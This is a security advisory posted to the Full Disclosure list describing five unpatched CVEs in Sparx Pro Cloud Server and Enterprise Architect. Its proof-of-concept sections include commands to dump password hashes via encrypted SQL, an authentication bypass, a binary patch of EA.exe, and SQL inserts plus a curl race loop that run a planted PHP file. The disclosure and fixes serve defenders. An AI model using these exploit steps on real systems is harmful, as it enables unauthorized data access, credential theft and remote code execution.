━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Multiple vulnerabilities in Sparx Pro Cloud Server and Enterprise Architect ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ General information ═══════════════════ Multiple vulnerabilities in Sparx Pro Cloud Server (PCS) versions <= 6.1 and Sparx Enterprise Architect versions <=17.1 allow a remote unauthenticated attacker to execute arbitrary sql queries (both read and write) within any configured database. In case where PCS is installed with WebEA the vulnerabilities allow further for remote unauthenticated code execution (RCE) within the web server context. CVSSv4 chained score: *10.0 Critical* (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) Fix ═══ Currently vendor *did not resolve* any of the CVEs. The PCS authentication bypass and race condition seem to be easy to implement and I hope vendor will release patches soon. As a workaround it is best to isolate the PCS instances from internet and untrusted networks. Create frequent backups and review access logs if possible. You could also setup a proxy to limit the PCS authentication bypass (dropping requests with no or wrong model query parameter. [Vulnerabilitiy #1] Sparx Pro Cloud Server SQL Command Execution ════════════════════════════════════════════════════════════════ CVE ─── CVE-2026-42096 - Broken Access Control in Sparx Pro Cloud Server Affected versions ───────────────── Sparx Pro Cloud Server versions <= 6.1 build 167 CVSSv4 ────── 9.4 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) Impact ────── PCS works as a remote model for a thick client, running on user's computers, called Enterprise Architect (EA). EA connects to PCS and works with the exposed database by directly running SQL queries. Besides user authentication (which is also vulnerable - see vulnerability #2 below) there is no additional access control. Any low privileged user can actually run any sql queries permitted by the configured external database user. Usually the user configured is at least having full access to the model database - thus any low privileged user can actually destroy the whole model, retrieve and change other user's password hashes and more. The problem seems to be with legacy thick client EA architecture which simply works on a database to manage all the model details. Details ─────── The client (EA) is connecting to the PCS HTTP server. The server might require authentication *if it is properly configured* - an admin can check "Enable Security" in EA but still not select "Require a secure and authenticated connection" in PCS configuration what results in *NO SERVER SIDE authentication at all*. Assuming the server side authentication is required the PCS verifies the authentication according to configuration - e.g. login/password, Active Directory or OpenID. Then the EA client sends request to perform SQL queries on the database in an ecrypted form but the whole encryption scheme is built into the client EA binary (actually downloadable from the vendor webside without any authentication - as trial version). The encryption is symmetric using a key contained within the binary itself thus simply this is not any security measure (security by obscurity). An attacker can obtain the key and then *create and send custom SQL queries to be performed by the database*. PoC ─── Exploit: https://github.com/br0xpl/sparx_hack/blob/main/eacrypt.py is a python script which exploits the SQL vulnerability by encrypting any SQL command and sending it to the server. For security, the real key is removed from the exploit code. This script receives all users and their hashes from PCS: ┌──── │ python3 eacrypt.py http://${PCS_HOSTNAME} model "select * from t_secuser, t_xref where t_xref.Type='User Setting' and t_xref.Name ='SHA-256' and t_xref.Client=t_secuser.UserID" └──── Solution ──────── It will be hard to introduce proper authorization for all types of SQL queries - this would require to rewrite the logic to use some higher abstraction API which can be properly authorized. Until a proper authorized API will be provided a quick solution could be at least to verify the SQL queries executed and block the most dangerous like asking about other users' passwords and so on. Maybe a query whitelist with limiting the view of some critical assets like hashes. For sure it should be transparently stated in the PCS and EA documentation web page. Some integrators and admins are aware of this risk (there are some topics on the forum mentioning that the model security is not in fact security) but this *should be well described in both product documentations* as a limitation and risk which needs to be understood by clients and taken into consideration at an early stage while designing a production system. Otherwise it poses a high risk for any company using those products. [Vulnerability #2] Sparx Pro Cloud Server Authentication Bypass ═══════════════════════════════════════════════════════════════ CVE ─── CVE-2026-42097 - Authentication Bypass in Sparx Pro Cloud Server Affected versions ───────────────── Sparx Pro Cloud Server versions <= 6.1 build 167 CVSSv4 ────── 9.2 Critical (CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) Impact ────── An attacker can *omit PCS authentication* and e.g. combined with the previous vulnerability be able to remotely execute arbitrary SQL commands (read and write) *without authentication*. Details ─────── It seems that PCS requires authentication based on requested URL. EA clients sending the encrypted SQL query to PCS are using an url which looks as follows: ┌──── │ https://${PCS_SERVER_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME} └──── PCS seems to look at the URL and decides how to authenticate the request. Unfortunately the SQL command query sends a POST request with a binary blob where the model name is defined one more time and this is the value that is further used by PCS to execute the query. Thus an attacker can simply omit the model query parameter and send the model name only in the binary blob in both TLS and non-TLS ports and the query will be executed even thought there was no authentication. PoC ─── To quickly verify compare the authenticated response for a request: ┌──── │ curl 'https://${PCS_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME}' -X POST -vvv --data 'whatever' -k └──── which responds 401 Access Denied to response of a request without the query param: ┌──── │ curl 'https://${PCS_HOSTNAME}/SparxCloudLink.sseap' -X POST -vvv --data 'whatever' -k └──── which responds 500 Internal Server Error. To proof this properly use the python code which exploits the #1 SQL vulnerability and uses the URL without model query parameter to omit the authentication. Solution ──────── Make a single parameter pointing the model (either in the blob or in query param) and hook authentication and query logic on the same parameter. [Vulnerability #3] Sparx Enterprise Architect Authorization Bypass ══════════════════════════════════════════════════════════════════ CVE ─── CVE-2026-42098 - Authorization Bypass in Sparx Enterprise Architect Affected versions ───────────────── Sparx Enterprise Architect versions <= 17.1 CVSSv4 ────── 7.7 High (CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) Impact ────── Sparx Enterprise Architect software has a security feature which can be enabled. When enabled the users can be limited to perform only some actions by roles but this is not a real security measure as it can be easily bypassed. *Any authenticated user can actually perform any action on the model* including deletion, stealing of other users' passwords and many others. This *includes configurations with Pro Cloud Server* where vendor advertises that PCS brings high level of security for the model: Robust security features are designed to protect sensitive model information, *including role-based access control*, encryption, authentication mechanisms and audit trails. source: <https://www.sparxsystems.eu/pro-cloud-server/> Details ─────── This vulnerability, most probably, is a result of the legacy thick client architecture described in the vulnerability #1. The EA documentation states briefly that the security is not a real security: The Security system in Enterprise Architect is designed to facilitate collaboration, *not as a barrier to incursion*. source: <https://sparxsystems.com/enterprise_architect_user_guide/17.1/guide_books/tools_ba_security.html> but right below it suggests that model assets should be secured: The information contained in the Repository is a valuable organizational asset that needs to be maintained and secured as such. The asset must be protected from both *intentional* and inadvertent compromises of content. The Security system allows update functions to be restricted to a set of users or groups with the appropriate defined permission. Packages, elements and diagrams can be locked by users, preventing others from updating them. source: <https://sparxsystems.com/enterprise_architect_user_guide/17.1/guide_books/tools_ba_security.html> Unfortunately the current design is not protecting against intentional compromises of content. An attacker can modify the EA client behavior (e.g. using a debugger) to login in as any other user or administrator - then it is possible to do every possible change to the repository. PoC ─── To show how it works it is enough to patch the binary to change the logic and accept all incorrect passwords and reject correct ones. For the file version 17.1.0.1714 of EA.exe (md5sum: 69dfe7b98d1fc156d15d8aeff726cfce) the following would patch the logic: ┌──── │ printf '\x84' | dd of=EA.exe bs=1 seek=$((0x34657B2)) conv=notrunc └──── Then run the patched exe and try to login to local model with different password. It also works obviously for cloud models which do not require server HTTP authentication or when using the "Login as different user option". Solution ──────── The way security works for EA should be properly and transparently presented in the EA documentation and installation notes. The sentence quoted above is not enough and can be easily misinterpreted by many users leading to vulnerabilities. Also it should be explained that even when using PCS after authentication there is no authorization until visibility levels are enabled which are working per whole database manager not user - so in fact there is no user based RBAC but rather database manager RBAC what is much more coarse grained then per user roles access control. In terms of combination of EA and PCS it is possible to secure the design by e.g. following the recommendations proposed in vulnerability #1. [Vulnerability #4] Sparx Pro Cloud Server WebEA Remote Code Execution ═════════════════════════════════════════════════════════════════════ CVE ─── CVE-2026-42099 - Race Condition in Sparx Pro Cloud Server Affected versions ───────────────── Sparx Pro Cloud Server versions <= 6.1 build 167 CVSSv4 ────── 9.0 Critical (CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) Impact ────── PCS configured with WebEA PHP application allows for remote command execution using the /data_api/dl_internal_artifact.php endpoint. This URL is used by WebEA to download content of a internal artifact. A remote attacker having access to the PCS repository is able to inject a malicious php file into the model and then request its download. The vulnerable dl_internal_artifact.php allows the remote attacker to create temporary php file and concurrently execute it before it gets deleted. The remote attacker can use this attack to gain execution in context of WebEA which allows to further explore the WebEA and PCS server configuration. Details ─────── The vulnerable file first downloads the properties of the object pointed by guid parameter: ┌──── │ 49 include('get_properties.php'); │ 50 $sObjectName = SafeGetArrayItem1Dim($aCommonProps, 'name'); │ 51 $sDocContent = SafeGetArrayItem1Dim($aDocument, 'content'); │ 52 $sExtension = SafeGetArrayItem1Dim($aDocument, 'extension'); │ 53 $sFileName = $sObjectName; │ 54 $iExtLength = strlen($sExtension); │ 55 $sObjectNameEnd = substr($sObjectName, -$iExtLength); │ 56 if($sExtension !== $sObjectNameEnd) │ 57 { │ 58 $sFileName = $sObjectName . $sExtension; │ 59 } └──── Listing 1: WebEA/data_api/dl_internal_artifact.php Then the loaded content is saved in current location (__DIR__) and the evaluated above filename and then it is returned: ┌──── │ 77 ... │ 78 function DownloadFromTempFile($sFileName, $sDocContent) │ 79 { │ 80 $decoded = base64_decode($sDocContent); │ 81 file_put_contents($sFileName, $decoded); │ 82 if (file_exists($sFileName)) { │ 83 header('Content-Description: File Transfer'); │ 84 header('Content-Type: application/octet-stream'); │ 85 header('Content-Disposition: attachment; filename="'.basename($sFileName).'"'); │ 86 header('Expires: 0'); │ 87 header('Cache-Control: must-revalidate'); │ 88 header('Pragma: public'); │ 89 header('Content-Length: ' . filesize($sFileName)); │ 90 readfile($sFileName); │ 91 unlink($sFileName); │ 92 exit; │ 93 } │ 94 } │ 95 ... └──── Listing 2: WebEA/data_api/dl_internal_artifact.php The attacker having access to the repository fully controls both: 1) the filename and 2) the contents. Thus it is possible to simply write a .php file in the current directory. The script however deletes the file in line 91 above. However, there is a race condition - if the readfile takes longer to transmit (large file size, slow tcp client) then the readfile will simply block waiting for the client to receive. At the same time the file can be requested in another tcp connection executing the exploit php code. PoC ─── 1. Using vulnerabilities #1 and #2 attacker can create the artifact in the target repository: ┌──── │ python3 eacrypt.py https://${PCS_HOSTNAME} ${MODEL_NAME} "insert into t_object (object_id, object_type, name, author, style, ea_guid) values (100000, 'Artifact', 'poc.php', 'Admin', 'ExtDoc=1;', '{\!A}8889BA10-6178-4047-9273-37FC75B0FCF6{\!C}')" │ # insert the document (zipped php file simply printing "Test") as "poc.php" │ python3 eacrypt.py https://${PCS_HOSTNAME} ${MODEL_NAME} "insert into t_document (docid, docname, elementid, elementtype, bincontent, doctype, author, isactive, sequence) values ('{\!A}8889BA10-6178-4047-9273-37FC75B0FCF6{\!C}', 'poc.php', '{\!A}8889BA10-6178-4047-9273-37FC75B0FCF6{\!C}', '.php', cast(x'504b03041400000008005497575bfe1a3fd00c0300006141030007001c007374722e6461745554090003bf5efa68ce5efa6875780b000104e803000004e8030000edcdb10980301000c0fee1e750d3b8809825b28104ec0ce8fe388556770bdc56c73932fa715ef3d4fafd4c4bc65a32daf7241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482412894422914824128944229148241289442291482492df92b266d43de305504b01021e031400000008005497575bfe1a3fd00c03000061410300070018000000000001000000a481000000007374722e6461745554050003bf5efa6875780b000104e803000004e8030000504b050600000000010001004d0000004d0300000000' as blob sub_type binary), 'ExtDoc', 'Admin', 177, 0)" └──── 2. In one terminal start to query the poc.php file until it is executed: ┌──── │ while [ true ]; do curl 'https://${WEBEA_HOSTNAME}/data_api/poc.php' -k; done 2> /dev/null | grep Test └──── 3. While the above command is executing in another terminal or logged in browser window open the following URL: ┌──── │ https://${WEBEA_HOSTNAME}/data_api/dl_internal_artifact.php?guid=el_%7B8889BA10-6178-4047-9273-37FC75B0FCF6%7D&modelno=1 └──── 4. In the terminal from step 2 there should be "Test" printed (proof that php code executed), if not try to repeat step 3. Solution ──────── The solution should be to return the content without saving it to disk. If necessary it should be saved in a temporary folder not accesible within webserver. Also the temporary file does not have to have the same name as the name returned - it should not use the filename from the model (controlled by user). [Vulnerability #5] Sparx Pro Cloud Server Deny of Service in the /SparxCloudLink.sseap endpoint ═══════════════════════════════════════════════════════════════════════════════════════════════ CVE ─── CVE-2026-42100 - DoS in Sparx Pro Cloud Server Affected versions ───────────────── Sparx Pro Cloud Server versions <= 6.1 build 167 CVSSv4 ────── 8.7 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) Impact ────── An attacker can make the PCS service exit causing a Deny of Service. The error was not deeply analyzed but it is possible that this or similar buffer operation bugs could be exploited to a code execution. Details ─────── Sending an SQL query with started escape sequence "{" without the finishing curly brace causes the PCS service to terminate unexpectedly. PoC ─── Run the following SQL query: ┌──── │ python3 eacrypt.py http://${PCS_HOSTNAME} model "select {asd" └──── The script will finish with "Connection reset by peer" error and the service will exit with the following message: [FATAL]: ————————————– [FATAL]: Thread 112 Unrecoverable error Solution ──────── Correct the handling of escape sequencing and parsing the SQL query for proper boundary checks. Recheck that there are no potential buffer overflow errors within the logic. Timeline ════════ • 09.2025 - Vulnerabilities identified. • 21.11.2025 - Sending details to CERT Polska to contact vendor. • 25.11.2025 - First contact of CERT Polska with Vendor. • 06.02.2026 - First Vendor reply with standard first-support-line questions about products, versions etc. • 14.04.2026 - Because of lack of progress Vendor was informed about planned publication according to the procedure - within 90 days of providing details. • 19.05.2026 - CVEs published. References ══════════ • <https://sploit.tech/2026/05/19/Sparx-Enterprise-Architect-PCS.html> - details with video • <https://efigo.pl/blog/CVE-2026-42096/> - summary • <https://cert.pl/en/posts/2026/05/CVE-2026-42096> - advisory • <https://sparxsystems.com/products/procloudserver/> - product’s website Credits ═══════ Author: Blazej Adamczyk (br0x) | <https://sploit.tech/> Team: Efigo <https://efigo.pl/>
Attachment:
signature.asc
Description: This is a digitally signed message part
_______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。